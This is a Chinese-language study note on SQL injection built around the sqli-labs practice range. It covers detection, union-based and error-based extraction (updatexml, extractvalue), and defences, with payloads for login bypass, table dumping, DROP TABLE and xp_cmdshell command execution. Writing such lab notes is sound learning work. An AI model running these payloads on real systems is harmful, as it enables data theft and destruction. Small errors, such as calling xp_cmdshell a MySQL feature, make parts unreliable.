前言

这一块内容还在不断补充当中,可以时不时刷来看看呀!!!

您的阅读就是对我学习进步的肯定!!!

感谢大佬

SQL注入

1. 什么是SQL注入

SQL注入是一种代码注入攻击,攻击者通过在输入框、URL参数等位置插入恶意SQL代码,欺骗数据库执行非授权操作(如查询、修改、删除数据甚至获取服务器权限)。

注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

SQL注入就是指WEB应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来是实现对数据库的任意操作。

即通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令

一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,他根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态的SQL语句会非常有用。

2. SQL注入的原理

当应用程序未对用户输入进行有效过滤时,攻击者输入的恶意SQL会被数据库当作合法指令执行。

SQL注入漏洞的产生需要满足以下两个条件。

(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询,用户能控制输入且输入的内容被带到数据库去执行

例子

select * from users where id = 1

//这句话是正确的,合法的,可以查询用户 id=1 的记录
当传入的ID参数为1时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范,多了个单引号,所以会报错。

//不管什么语言,只要多了一个没闭合的单引号除非他被转义了,不然都会报错的

当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1

数据库会返回与 id=1 相同的结果。攻击者通过这种方式验证应用程序是否会执行额外的逻辑。如果页面返回正常结果,说明应用程序可能没有对输入进行过滤。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果,说明输入确实影响了查询逻辑。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞

3. 为什么会有SQL注入

  • 代码对带入SQL语句的参数过滤不严格
  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未使用框架安全的查询方法
  • 测试借口未删除
  • 未启用防火墙,例如IPTABLES。
  • 未使用其他的安全防护设备,例如:WAF

4. SQL注入一般流程【攻击】

探测→利用→深度渗透

1. 漏洞探测:寻找注入点

攻击者通过输入测试字符判断应用是否存在SQL注入漏洞,常见方法包括:

  • 单引号测试:在输入框(如搜索框、URL参数)中输入',若页面报错(如数据库错误提示)或返回异常,说明输入未被过滤,可能存在注入点。
  • 布尔盲注测试:输入and 1=1(页面正常)和and 1=2(页面异常),通过返回差异验证输入是否影响SQL逻辑(如你之前提到的案例)。
  • 时间盲注测试:输入and sleep(5),若页面加载延迟5秒,说明数据库执行了恶意代码,存在注入点。
2. 漏洞利用:获取数据或权限

确认注入点后,攻击者通过构造恶意SQL实现不同目标:

  • 获取隐藏数据:通过OR 1=1UNION SELECT读取敏感数据。例如:
SELECT * FROM products WHERE category='Gifts' OR 1=1--

利用OR 1=1返回所有商品(包括未发布的)。

  • 绕过登录验证:通过' OR '1'='1'--跳过密码检查。例如:
SELECT * FROM users WHERE username='admin' OR '1'='1'--' AND password='xxx'

直接登录管理员账户。

  • 读取数据库结构:通过UNION SELECT查询数据库版本、表名等信息。例如:
' UNION SELECT version(), database()--
3. 深度渗透:扩大攻击范围

若权限足够,攻击者可能进一步:

  • 篡改或删除数据:通过UPDATEDROP语句破坏数据库。例如:
'; DROP TABLE users--
  • 执行系统命令:利用数据库存储过程(如MySQL的xp_cmdshell)控制服务器。例如:
'; EXEC xp_cmdshell 'whoami'--
  • 持久化控制:创建后门账户或植入恶意脚本,长期控制系统。
4. 攻击结束:清理痕迹

攻击者可能删除数据库日志或修改访问记录,掩盖攻击行为。

5. SQL注入的获取数据的简单流程【sqli-labs的题目】

5.1. 判断有无闭合 and 1=1 and 1=2

5.1.1. 目的

确定你的 SQL 语句是被什么符号“包围”的(比如单引号  ' 、双引号  " 、括号  ()  等),这一步是 SQL 注入的基础前提。

在 SQL 中,“闭合”通常指的是一些特定的逻辑或语法结构是否完整,例如括号是否匹配、事务是否正确提交、条件语句是否完整等。

5.1.2. 操作

执行两个 SQL 片段:

- 片段 1: and 1=1 

- 片段 2: and 1=2 

5.1.3. 原理

- 当执行  and 1=1  时,因为  1=1  是“永真条件”,如果结果和你原本的查询结果一样,说明 SQL 语句的闭合规则是符合预期的(没有因为语法错误中断)。

- 当执行  and 1=2  时,因为  1=2  是“永假条件”,如果结果为空,说明 SQL 语句的闭合规则是对的;反之如果结果没变化,就需要换其他方式测试闭合符。

结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合

5.1.3.1. 没懂?详细

布尔盲注原理:通过and 1=1/and 1=2验证SQL注入漏洞

这种操作属于布尔盲注(Boolean-based Blind SQL Injection),核心是通过构造真假条件来判断应用是否存在SQL注入漏洞。

以下是逐句解释:

5.1.3.1.1. id=1 and 1=1:验证注入点是否存在

正常查询:select * from users where id=1 → 返回id=1的用户数据。

注入后查询:select * from users where id=1 and 1=1 → 由于1=1恒为真,整个条件等价于id=1,返回结果与正常查询一致。

攻击者意图:如果页面返回正常(显示id=1的内容),说明应用未过滤and等SQL关键字,输入的and 1=1被数据库当作合法逻辑执行,存在注入漏洞。

5.1.3.1.2. id=1 and 1=2:确认输入影响查询逻辑

正常查询:select * from users where id=1 → 返回id=1的用户数据。

注入后查询:select * from users where id=1 and 1=2 → 由于1=2恒为假,整个条件等价于false,返回结果为空或错误页面(与正常查询不同)。

攻击者意图:如果页面返回异常(如空白、报错),说明输入的and 1=2确实改变了查询结果,证明用户输入直接参与了SQL逻辑执行,漏洞存在

5.1.3.1.3. 为什么这能验证漏洞?

核心逻辑:

SQL注入的本质是用户输入被当作SQL代码执行。如果应用对输入做了过滤(如转义and、=等字符),那么id=1 and 1=1会被当作普通字符串处理(如id='1 and 1=1'),查询结果会是空(因为没有id等于“1 and 1=1”的用户)。

对比结果:

and 1=1返回正常 → 输入未过滤,漏洞存在。

and 1=2返回异常 → 输入影响了SQL逻辑,漏洞存在。

总结:攻击者通过构造真假条件,观察页面返回差异,来判断应用是否存在SQL注入漏洞。这种方法无需获取具体数据,仅通过“是/否”的布尔结果就能验证漏洞,是盲注中最基础的技巧。。

5.1.4. 判断“有无闭合”的场景
5.1.4.1. 判断括号是否闭合

SQL 查询中经常使用括号来定义优先级(如 WHERE 子句中的条件)或组织复杂查询(如子查询)。

如果括号没有正确闭合,会导致语法错误。

左右括号数量必须相等,且左括号在前、右括号在后

SELECT * 
FROM employees 
WHERE (department_id = 3 AND salary > 5000;

//问题:
左括号 ( 没有对应的右括号 )。
//解决方法:
确保每个左括号都有对应的右括号。
//工具辅助:
使用 SQL 编辑器(如 MySQL Workbench、DBeaver 等),
它们通常会高亮显示匹配的括号,帮助发现未闭合的括号。
5.1.4.2. 判断事务是否闭合

事务(Transaction)是数据库操作的一个重要概念。

如果事务没有正确提交(COMMIT)或回滚(ROLLBACK,可能会导致数据不一致或锁表问题。

START TRANSACTION;

-- 执行一系列操作
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

-- 提交事务
COMMIT;
  • MySQL
-- 查看所有未提交的事务(包含事务ID、状态、执行时间等)
SELECT * FROM INFORMATION_SCHEMA.INNODB_TRX;
    • 若结果为空 → 无未闭合事务;
    • 若结果不为空 → 存在未提交/回滚的事务(需手动COMMITROLLBACK)。
5.1.4.3. 判断条件语句是否闭合
  • 关键字配对
    • CASE WHEN必须有END(如CASE WHEN id>10 THEN '大' ELSE '小' END);
    • IN后的括号需闭合(如id IN (1,2,3),而非id IN (1,2,3);
    • BETWEEN需与AND配对(如age BETWEEN 18 AND 30,而非age BETWEEN 18)。
  • 符号闭合
    • 字符串需用单引号/双引号闭合(如name='张三',而非name='张三);
    • 括号需成对(如WHERE (id>10 AND name='a'),而非WHERE (id>10 AND name='a')。

SQL 中的条件语句(如 CASEIF)需要正确的闭合,否则会导致语法错误。

SELECT employee_id,
       CASE 
           WHEN department_id = 1 THEN 'HR'
           WHEN department_id = 2 THEN 'Finance'
       END AS department_name
FROM employees;

//确保每个 CASE 语句都以 END 结束。
5.1.4.4. 判断字符串是否闭合

断字符串是否闭合,核心是检查起止引号是否一致且成对

SQL 查询中使用的字符串需要用引号(单引号 ' 或双引号 ")包裹。如果引号没有正确闭合,会导致语法错误。

若字符串未闭合,SQL执行时会返回语法错误

  • MySQL报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...
SELECT * 
FROM employees 
WHERE name = 'Alice';
5.1.4.5. 判断注释是否闭合

SQL 支持两种注释风格:

  1. 单行注释:-- 注释内容
  2. 多行注释:/* 注释内容 */

如果多行注释未正确闭合,可能会导致后续代码被忽略。

SELECT * 
FROM employees 
/* WHERE department_id = 1 */
5.1.4.6. 总结

判断 SQL 是否“闭合”可以从以下几个方面入手:

  1. 括号闭合
    • 确保每个左括号 ( 都有对应的右括号 )
  1. 事务闭合
    • 确保每个事务以 COMMITROLLBACK 结束。
  1. 条件语句闭合
    • 确保 CASEIF 等语句以正确的关键字(如 END)结束。
  1. 字符串闭合
    • 确保每个字符串都以匹配的引号结束。
  1. 注释闭合
    • 确保多行注释以 */ 结束。

5.2. 猜解字段 order by 10

探测目标表的字段数量

-  order by n  用于对第 n 个字段排序,若 n 超过表的实际字段数,会报错;

- 用二分法(如先试 order by 10 ,再根据是否报错调整数值)可快速确定表的字段总数。

5.3. 判断数据回显位置 -1 union select 1,2,3,4,5....

//-1  是为了让前半段查询结果为空,确保只显示  union select  后的结果;

- 依次构造  select 1,2,3... ,观察页面上显示的数字位置,这些位置就是可利用的回显字段。参数等号后面加-表示不显示当前数据

确定哪些字段会在页面上显示

5.4. 获取当前数据库名、用户、版本 ,获取全部数据库名

收集数据库的基础信息

eg. union select database(), user(), version(),... 

union select group_concat(schema_name) from information_schema.schemata,... 

5、获取表名

定位目标数据库中的表结构。

select group_concat(table_name) from information_schema.tables where table_schema= '库名'

6、获取字段名

明确目标表的列信息

select group_concat(column_name) from information_schema.columns where table_schema= '库名' and table_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名

最终提取目标数据

通过  group_concat  把字段内容拼接成字符串,在回显位上显示,从而获取表中的具体数据(如用户账号、密码等敏感信息)。

6. 注入的类型

目前应该就学了这些,,可能后面会补充。

本人利用的是sqli-labs的靶场,可以去Github上面找源代码到小皮上面,即可

6.1. 数值型注入

6.1.1. 核心定义:什么是数值型注入?

数值型注入是SQL注入的一种常见类型,发生在参数为数值类型(如整数、浮点数)的场景中。

其核心特征是:

  • 后台SQL语句中,参数直接作为数值使用,无需单引号/双引号包裹(区别于字符型注入)。
  • 攻击者通过构造特殊数值,修改原有SQL的逻辑,实现未授权的数据查询或操作。
  • 前台页面输入的参数是「数字」。
    • 写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
6.1.2. 关键特征与判断方法
6.1.2.1. 典型场景

常见于按ID查询的功能(如文章详情、用户信息),后台SQL格式通常为:

SELECT * FROM users WHERE id = [用户输入]  -- 例如:id=1
6.1.2.2. 判断方法(实战步骤)

通过构造恒真/恒假条件,观察页面响应差异,即可判断是否存在数值型注入:

  • 步骤1:恒真条件测试
    输入 id=1 AND 1=1,若页面正常显示(与原请求id=1一致),说明注入的条件被数据库执行,且结果为真。
    此时SQL变为:
SELECT * FROM users WHERE id = 1 AND 1=1  -- 条件永远成立,返回所有id=1的结果
  • 步骤2:恒假条件测试
    输入 id=1 AND 1=2,若页面异常显示(空白、报错或无数据),说明注入的条件被执行为假,存在注入点。
    此时SQL变为:
SELECT * FROM users WHERE id = 1 AND 1=2  -- 条件永远不成立,无结果返回
  • 步骤3:单引号测试(辅助验证)
    输入 id=1',若页面报错(如SQL syntax error),进一步确认是数值型注入(因为数值型参数无需单引号,多余的单引号导致语法错误)。
6.1.2.3. 实战案例:从判断到数据获取

SQLi-Labs靶场Less-2(数值型注入经典场景)为例:

6.1.2.3.1. 环境准备
  • 靶场URL:http://localhost/sqli-labs/Less-2/?id=1
  • 后台SQL:SELECT * FROM users WHERE id = $_GET['id']
6.1.2.3.2. 注入过程
  • 判断注入点
    输入 id=1 AND 1=1 → 页面正常显示(与id=1一致);
    输入 id=1 AND 1=2 → 页面空白(无数据),确认存在数值型注入。
  • 获取数据库信息
    构造注入语句,查询数据库名:
id=1 UNION SELECT 1, database(), 3  -- 假设users表有3个字段

此时SQL变为:

SELECT * FROM users WHERE id = 1 UNION SELECT 1, database(), 3

页面会返回当前数据库名(如security)。

  • 获取表名
    进一步查询数据库中的表:
id=1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()

结果会返回所有表名(如usersemails等)。

6.1.2.4. 防御建议
  • 参数类型校验:对数值型参数强制转换为整数(如PHP中用intval());
  • 使用预编译语句:如PDOMyBatis的参数绑定,避免直接拼接SQL;
  • 最小权限原则:数据库用户仅授予必要权限(如禁止FILEALTER等高危操作)。
6.1.2.5. 一句话总结

数值型注入是利用数值型参数无引号包裹的特性,通过构造逻辑条件修改SQL语句,

核心判断方法是1 AND 1=1(正常)+ 1 AND 1=2(异常),实战中可结合联合查询获取敏感数据。 🛡️

6.1.3. 简单条件注入
  • 攻击方式
    • 在数值参数后添加逻辑运算符(如 ORAND)和恒真/恒假条件。
  • 示例:

正常的 SQL 查询

假设一个应用程序根据用户输入的 id 查询员工信息:

SELECT * FROM employees WHERE id = 1;

如果用户输入 1,查询会返回 id=1 的员工信息。

注入后的 SQL 查询

如果攻击者输入恶意的数值(如 1 OR 1=1),查询可能变成:

SELECT * FROM employees WHERE id = 1 OR 1=1;
  • 解释
    • 条件 1=1 始终为真,导致查询返回所有员工的信息。
    • 这种注入可以用于数据泄露或权限绕过。

【用or 只要满足其一即可,又1=1永远成立,所以id=1这一条件会被忽略】

6.1.4. 联合查询注入
  • 攻击方式
    • 使用 UNION 将恶意查询结果与原始查询结果合并。
  • 示例
    • 用户输入:1 UNION SELECT username, password FROM users
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1 
UNION 
SELECT username, password FROM users;
    • 效果
      • 返回员工信息的同时,还泄露了用户的用户名和密码。
6.1.5. 子查询注入
  • 攻击方式
    • 在数值参数中嵌套子查询,获取敏感信息。
  • 示例
    • 用户输入:1 AND (SELECT COUNT(*) FROM users) > 0
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1 AND (SELECT COUNT(*) FROM users) > 0;

-- 查询employees表中id=1的员工数据,但仅当users表中存在至少1条记录时才返回结果。
    • 效果
      • 验证 users 表是否存在,并尝试获取更多信息。
6.1.6. 总结
  • 数值型注入的特点
    • 参数为数值型,无需引号包裹。
    • 攻击者通过逻辑运算符、联合查询、子查询等方式篡改查询逻辑。
  • 防御措施
    • 使用参数化查询(避免直接拼接用户输入)。
    • 验证用户输入。
    • 最小化数据库权限。
    • 监控和记录异常行为

6.2. 字符型注入

6.2.1. 核心定义:什么是字符型注入?

字符型注入是SQL注入的典型类型,发生在参数为字符串类型的场景中。其核心特征是:

  • 后台SQL语句中,参数被单引号(')或双引号(")包裹区别于数值型注入的无引号)。
  • 攻击者通过构造包含特殊字符的字符串,闭合原有引号并注入恶意SQL逻辑,实现未授权操作。
6.2.2. 关键特征与判断方法
6.2.2.1. 典型场景

常见于用户名、搜索关键词等字符型参数,后台SQL格式通常为:

SELECT * FROM users WHERE username = '[用户输入]'  -- 例如:username='admin'
6.2.2.2. 判断方法(实战步骤)

通过构造单引号闭合逻辑,观察页面响应差异,即可判断是否存在字符型注入:

  • 步骤1:单引号测试(核心)
    输入 username=admin'(在原参数后加单引号),
  • 若页面报错(如Unclosed quotation mark),说明参数被引号包裹(字符型注入特征)。
  • 【注意,一个是语法错误,一个是引号未闭合,错误提示不同】
    此时SQL变为:
SELECT * FROM users WHERE username = 'admin''  -- 引号未闭合,语法错误
  • 步骤2:逻辑条件测试(验证注入点)
    构造闭合+恒真条件:输入 username=admin' AND '1'='1 --+--+用于注释后续内容),若页面正常显示(与原请求一致),说明注入成功。
    此时SQL变为:
SELECT * FROM users WHERE username = 'admin' AND '1'='1 --+'  -- 条件恒真,返回所有用户
  • 步骤3:对比恒假条件
    输入 username=admin' AND '1'='2 --+,若页面异常显示(空白或报错),进一步确认存在字符型注入。
6.2.2.3. 实战案例:从判断到数据获取

SQLi-Labs靶场Less-1(字符型注入经典场景)为例:

6.2.2.3.1. 环境准备
  • 靶场URL:http://localhost/sqli-labs/Less-1/?id=1
  • 后台SQL:SELECT * FROM users WHERE id = '[用户输入]'
6.2.2.3.2. 注入过程
  • 判断注入点
    输入 id=1' → 页面报错(You have an error in your SQL syntax),确认参数被单引号包裹。
    输入 id=1' AND '1'='1 --+ → 页面正常显示(与id=1一致),注入点存在。
  • 获取数据库信息
    构造联合查询,获取数据库名:
id=-1' UNION SELECT 1, database(), 3 --+  -- 用-1让原查询无结果,显示联合查询内容

此时SQL变为:

SELECT * FROM users WHERE id = '-1' UNION SELECT 1, database(), 3 --+'

页面返回当前数据库名(如security)。

  • 获取表名
    进一步查询数据库中的表:
id=-1' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database() --+

结果返回所有表名(如usersemails)。

6.2.2.4. 防御建议
  • 参数过滤:对输入的单引号、双引号等特殊字符进行转义(如PHP中用addslashes());
  • 预编译语句:使用PDOMyBatis的参数绑定,避免直接拼接SQL;
  • 类型校验:对字符型参数限制长度和格式(如用户名仅允许字母数字)。
6.2.2.5. 一句话总结

字符型注入是利用参数被引号包裹的特性,通过构造闭合逻辑注入恶意SQL,核心判断方法是单引号测试+逻辑条件验证,实战中可结合联合查询获取敏感数据。 🛡️

    • 前台页面输入的参数是「字符串」。
    • 字符可以使用单引号包裹,也可以使用双引号包裹。
    • 根据包裹字符串的「引号」不同,字符型注入可以分为:
      • 单引号字符型注入
      • 双引号字符型注入
      • 带有括号的注入
        • SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
          • a. 数值型+括号的注入:使用括号包裹数值型参数
          • b. 单引号字符串+括号的注入:使用括号和单引号包裹参数
          • c. 双引号字符串+括号的注入使用括号和双引号包裹参数
    • 不可直接拼接用户输入到SQL查询中,可能导致逻辑被篡改。
示例:
select \* from user where id = (1);
//这是查询 user 表中id等于1的所有记录。
这里的 (1) 是单值子查询的写法(虽然这里直接写1也可以),最终效果和 id = 1 一致。


select \* from user where id = ((1));
//和第一个语句效果完全相同,只是多套了一层括号,SQL会自动解析括号内的内容,
最终还是查询 id=1 的记录。


select \* from user where username = ('zhangsan');
//查询 user 表中**username等于'zhangsan'**的所有记录。 
这里 'zhangsan' 是字符串常量,单引号是SQL中表示字符串的标准方式。


select \* from user where username = (('zhangsan'));
//和第三个语句效果一致,多套了括号不影响结果,依然是查询username='zhangsan' 的记录。


select \* from user where username = ("zhangsan");
//多套了括号不影响结果,依然是查询username="zhangsan" 的记录
6.2.3. 简单条件注入
  • 攻击方式
    • 在字符串参数后添加逻辑运算符(如 ORAND)和恒真/恒假条件。
  • 示例
  • 假设一个应用程序根据用户输入的 name 查询员工信息:
SELECT * FROM employees WHERE name = 'Alice';

如果用户输入 Alice,查询会返回 name='Alice' 的员工信息。

    • 用户输入:Alice' OR '1'='1
    • 拼接后的 SQL:
SELECT * FROM employees WHERE name = 'Alice' OR '1'='1';
    • 效果
      • 返回所有员工的信息。【原理同数值型,只不过注意'的有无】
6.2.4. 联合查询注入
  • 攻击方式
    • 使用 UNION 将恶意查询结果与原始查询结果合并。
  • 示例
    • 用户输入:

Alice' UNION SELECT username, password FROM users --

    • 拼接后的 SQL:
SELECT * FROM employees WHERE name = 'Alice' 
UNION 
SELECT username, password FROM users -- ';
    • 效果
      • 返回员工信息的同时,还泄露了用户的用户名和密码。

【利用-- 来将结尾的'注释掉,以保证引号闭合】

6.2.5. 子查询注入
  • 攻击方式
    • 在字符串参数中嵌套子查询,获取敏感信息。
  • 示例
    • 用户输入:Alice' AND (SELECT COUNT(*) FROM users) > 0 --
    • 拼接后的 SQL:
SELECT * FROM employees WHERE name = 'Alice' AND (SELECT COUNT(*) FROM users) > 0 -- ';
    • 效果
      • 验证 users 表是否存在,并尝试获取更多信息。
6.2.6. 总结
  • 字符型注入的特点
    • 参数为字符串类型,需要处理引号包裹。
    • 攻击者通过闭合引号或逃逸引号篡改查询逻辑。
  • 防御措施
    • 使用参数化查询。
    • 转义特殊字符。
    • 验证用户输入。
    • 最小化数据库权限。
    • 监控和记录异常行为。
6.2.7. (补充)如何快速判断字符型与数字型注入?
6.2.7.1. 核心区别:参数是否被引号包裹
  • 数字型注入:参数直接作为数值使用,无单/双引号包裹(如 id=1)。
  • 字符型注入:参数被视为字符串,必须用单/双引号包裹(如 username='admin')。
6.2.7.2. 数字型注入判断方法

通过逻辑条件测试四则运算验证,观察页面响应差异:

  1. 逻辑条件测试(最直接)
    • 输入 id=1 AND 1=1 → 页面正常显示(与原请求一致),说明注入条件被执行且为真。
    • 输入 id=1 AND 1=2 → 页面异常显示(空白、报错或无数据),说明注入条件被执行为假,存在数字型注入。
  1. 四则运算验证(辅助)
    输入 id=(1+1)-1 → 若结果与 id=1 一致,说明参数被当作数值处理(数字型特征)。
6.2.7.3. 字符型注入判断方法

通过单引号闭合测试逻辑条件验证,观察页面报错或响应变化:

  1. 单引号测试(核心)
    输入 username=admin' → 若页面报错(如 Unclosed quotation mark),说明参数被引号包裹(字符型特征)。
  2. 逻辑条件验证
    • 输入 username=admin' AND '1'='1 --+ → 页面正常显示(与原请求一致),说明单引号成功闭合,注入条件为真。
    • 输入 username=admin' AND '1'='2 --+ → 页面异常显示,说明注入条件为假,存在字符型注入。
6.2.7.4. 一句话总结
  • 数字型:无引号,用 AND 1=1/AND 1=2 测试响应差异。
  • 字符型:有引号,用单引号闭合+逻辑条件验证。
    通过这两种方法,可快速区分注入类型,为后续渗透测试奠定基础 🛡️。
6.2.7.5. (以题目为例)【数字型还是字符型】
6.2.7.5.1. 第一关
  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
  1. syntax 语法

在计算机科学中,syntax 特指编程语言或查询语言(如 SQL)的语法规则。如果违反了这些规则,就会导致类似 syntax error(语法错误)的问题。

  1. manual 手册
  • "Check the MySQL manual for the correct syntax."
    (查阅 MySQL 手册以获取正确的语法。)

 ''1'' LIMIT 0,1' 

1'为注入内容
由颜色看出引号分别是谁的引号
所以呀,,,,上面那内容是字符型注入
6.2.7.5.2. 第二关
  • You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

!!!没回回显出输入内容说明是数字型

6.2.7.5.3. 无错误回显类型判断(通过注入算式判断)

第一关说明后台将2-1作为字符串来处理,才会使前后

第二关前后显示的内容不变,说明是经过后台计算后,再进行处理,说明是数字型

6.3. 报错注入

这位大佬的是笔记和题目结合,很详细,也可以看看他的

6.3.1. 核心定义:什么是报错注入?

报错注入(Error-Based SQL Injection)是SQL注入的一种关键手法,【页面响应形式】

核心逻辑是:

  • 攻击者通过构造恶意SQL语句,故意触发数据库执行错误。
  • 若应用未屏蔽错误信息,数据库会将敏感数据(库名、表名、字段值) 包含在错误提示中回显到页面,攻击者可直接从报错信息中提取数据。

简单来说:让数据库“报错”,并把你想要的数据“吐”出来 🚨。

6.3.2. 核心原理:为什么报错能泄露数据?

报错注入的本质是利用数据库的错误回显机制

  1. 错误触发:通过特殊函数(如updatexml())构造非法SQL,迫使数据库执行时抛出错误。
  2. 数据拼接:将需要查询的敏感数据(如database())嵌入错误函数的参数中,数据库报错时会将该数据作为错误信息的一部分返回。
  3. 信息提取:攻击者从前端显示的错误提示中,直接读取敏感数据(无需盲注猜解)。
6.3.3. 实战步骤:从判断到数据获取

MySQL数据库为例,通过updatexml()函数演示报错注入流程:

6.3.3.1. 判断是否存在报错注入
  • 核心测试:输入单引号(')或构造错误语句,观察页面是否返回详细数据库错误(如You have an error in your SQL syntax)。
    示例:若原请求为?id=1,输入?id=1',若页面报错,说明存在注入可能。
6.3.3.2. 构造报错语句(以updatexml()为例)

updatexml()函数用于修改XML文档,第二个参数需为合法的XPath路径。若传入非法内容(如拼接的敏感数据),数据库会报错并返回非法内容。

  • 爆数据库名
    构造Payload:
?id=1 AND updatexml(1, concat(0x7e, database(), 0x7e), 1)

解释:

    • 0x7e是ASCII码的~,用于分隔错误信息和敏感数据。
    • database()返回当前数据库名(如security)。
    • 执行后,页面报错信息会包含~security~,直接泄露数据库名。
  • 爆表名
    构造Payload:
?id=1 AND updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)

解释:通过子查询SELECT group_concat(table_name)...获取当前数据库的所有表名(如usersemails),并嵌入报错信息。

6.3.4. 常见报错函数(MySQL)

函数名

作用

示例Payload

updatexml()

修改XML文档,非法XPath触发报错

updatexml(1, concat(0x7e, version()), 1)

extractvalue()

提取XML节点值,非法XPath触发报错

extractvalue(1, concat(0x7e, user()))

floor()

结合rand()

group by

触发主键重复错误(适用于低版本MySQL)

(SELECT 1 FROM (SELECT count(*),concat(

version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,

第一个参数是要提取值的XML文档,

第二个参数是XPath表达式,用于指定要提取的值的位置。

该函数将返回符合XPath表达式的节点的值。

2. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,

第一个参数是要更新的XML文档【存储和传输数据】,

第二个参数是XPath表达式,用于指定要更新的节点的位置,

第三个参数是新的节点值。

该函数将返回更新后的XML文档。

3. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,

即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回

6.3.4.1. extractvalue报错注入
6.3.4.1.1. 基础定义:extractvalue()是什么?

extractvalue()MySQL数据库中用于解析XML数据的内置函数

核心作用是从XML字符串中提取指定路径的节点值。用于从XML字符串中提取特地路径下的内容。

它的设计初衷是处理XML格式的数据,但因对输入的校验不严格,常被用于SQL注入攻击

6.3.4.1.2. 语法与参数解析
EXTRACTVALUE(xml_frag, xpath_expr)
  • xml_frag
    表示要解析的XML字符串(可以是XML文档或片段),例如<a><b>hello</b></a>
  • xpath_expr
    用于定位XML节点的XPath表达式(如/a/b表示提取<a>节点下的<b>节点值)。
extractvalue(xml_document,xpath_string)

第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串)。

//作用: 从目标XML中返回包含所查询值的字符串。

ps: 返回结果限制在32位字符。


extractvalue(456,concat(0x7e,version(),0x7e))
6.3.4.1.3. 正常使用示例

假设存在XML字符串<book><title>MySQL教程</title></book>,提取书名的SQL语句为:

SELECT EXTRACTVALUE('<book><title>MySQL教程</title></book>', '//title');

即提取某节点的title节点值

执行结果:返回MySQL教程(匹配到的节点文本值)。

若XPath表达式匹配多个节点(如<a><b>x</b><b>y</b></a>),结果会用空格分隔:

SELECT EXTRACTVALUE('<a><b>x</b><b>y</b></a>', '/a/b');

即提取a节点的b节点

执行结果x y

想要查询书名

select extractvalue(doc,'/book/title') from xml;
6.3.4.1.4. 安全风险:如何被用于SQL注入?

extractvalue()致命漏洞在于:

xpath_expr参数不符合XPath语法规范,数据库会抛出错误,并将非法参数内容作为错误信息返回。攻击者利用这一特性,构造恶意Payload,将敏感数据(如库名、表名)嵌入错误信息中泄露。

6.3.4.1.5. 如何报错

6.3.4.1.6. 实战Payload示例
  • 爆数据库名
?id=1 AND extractvalue(1, concat(0x7e, database(), 0x7e))

第一个参数1
是无效占位符(攻击者不需要真正解析XML,仅为满足函数参数格式)。

第二个参数concat(0x7e, database(), 0x7e)
是构造的非法XPath表达式:
若表达式不符合XPath语法,数据库会报错并返回该表达式内容(这是漏洞关键)。

concat()是字符串拼接函数,将多个字符串合并为一个。

解释:

    • 0x7e是ASCII码的~,用于分隔错误信息和敏感数据。
    • database()返回当前数据库名(如security)。
    • 执行后,错误信息会包含~security~,直接泄露数据库名。
  • 爆表名
?id=1 AND extractvalue(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e))

解释:通过子查询获取当前数据库的所有表名,并嵌入错误信息。

6.3.4.1.7. 防御建议
  1. 关闭错误回显:在生产环境中,禁用数据库错误信息直接输出到前端(如PHP中设置display_errors=Off)。
  2. 使用预编译语句:通过PreparedStatement或ORM框架(如MyBatis)绑定参数,避免SQL拼接。
  3. 输入过滤:对用户输入的特殊字符(如单引号、括号)进行转义或过滤。
  4. 最小权限原则:数据库账号仅授予必要权限(如禁止SELECT敏感系统表information_schema)。
6.3.4.1.8. 可以看一下level5这个题目
6.3.4.2. updatexml报错注入
6.3.4.2.1. 基础定义:updatexml()是什么?

updatexml()是MySQL的XML文档更新函数,用于修改XML片段中指定节点的内容。

它和extractvalue()同属XML函数家族,但因报错机制同样被广泛用于SQL注入攻击。

//XML 可扩展标记语言

//HTML超全局语言

6.3.4.2.2. 语法与正常用法
UPDATEXML(xml_frag, xpath_expr, new_val)
  • xml_frag:要修改的XML片段(如<a><b>old</b></a>)。
  • xpath_expr:定位节点的XPath表达式(如/a/b)。
  • new_val:替换节点的新值(如new)。

